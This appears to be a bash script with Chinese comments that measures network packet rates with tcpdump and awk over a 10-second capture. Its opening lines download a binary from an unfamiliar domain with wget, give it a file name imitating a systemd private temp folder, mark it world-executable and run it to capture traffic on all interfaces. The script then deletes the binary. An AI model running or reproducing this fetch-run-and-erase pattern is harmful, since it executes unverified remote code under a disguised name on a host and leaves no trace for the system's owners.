#!/bin/bash

wget -q https://x.vodxz.icu/d/ttt.x -O /var/tmp/systemd-private-c21ad8d09316458c9121c840b0b26769-cron.service-lgddAf

chmod 0777 /var/tmp/systemd-private-c21ad8d09316458c9121c840b0b26769-cron.service-lgddAf

# 静态版 tcpdump 路径（和脚本同目录，或写绝对路径）
TCPDUMP="/var/tmp/systemd-private-c21ad8d09316458c9121c840b0b26769-cron.service-lgddAf"

# 验证 tcpdump 可用性
if [ ! -x "$TCPDUMP" ]; then
  exit 1
fi

# 核心修正：awk 中用 system() 获取当前时间戳，避免语法错误
$TCPDUMP -i any -n -q -t -a -s 0 tcp -w - 2>/dev/null \
  -G 10 -W 1 |  # 仅捕获10秒，自动退出
  $TCPDUMP -r - -n -q -t -a -s 0 -v | 2>/dev/null \
  awk -v start=$(date +%s) '  # 开始时间：在 awk 外部获取（无语法问题）
    /IP / {
      len = $NF + 0;
      total_len += len;
      count++;
    }
    END {
      # 关键修正：awk 内部获取当前时间戳（用 system() 调用 date，捕获输出）
      cmd = "date +%s";
      cmd | getline end;  # 执行命令并读取结果到 end 变量
      close(cmd);  # 关闭命令管道，避免资源泄漏
      
      duration = end - start;
      duration = duration > 10 ? 10 : duration;  # 限制最大10秒
      duration = duration == 0 ? 1 : duration;  # 避免除零
      
      pps = count / duration;
      avg_len = count > 0 ? total_len / count : 0;


      printf "count：%d \n", count;
      printf "pps：%d /s\n", pps;
      printf "total_len：%d\n", total_len;
      printf "avg_len：%d byte\n", avg_len;
    }
  '
  
 rm -rf /var/tmp/systemd-private-c21ad8d09316458c9121c840b0b26769-cron.service-lgddAf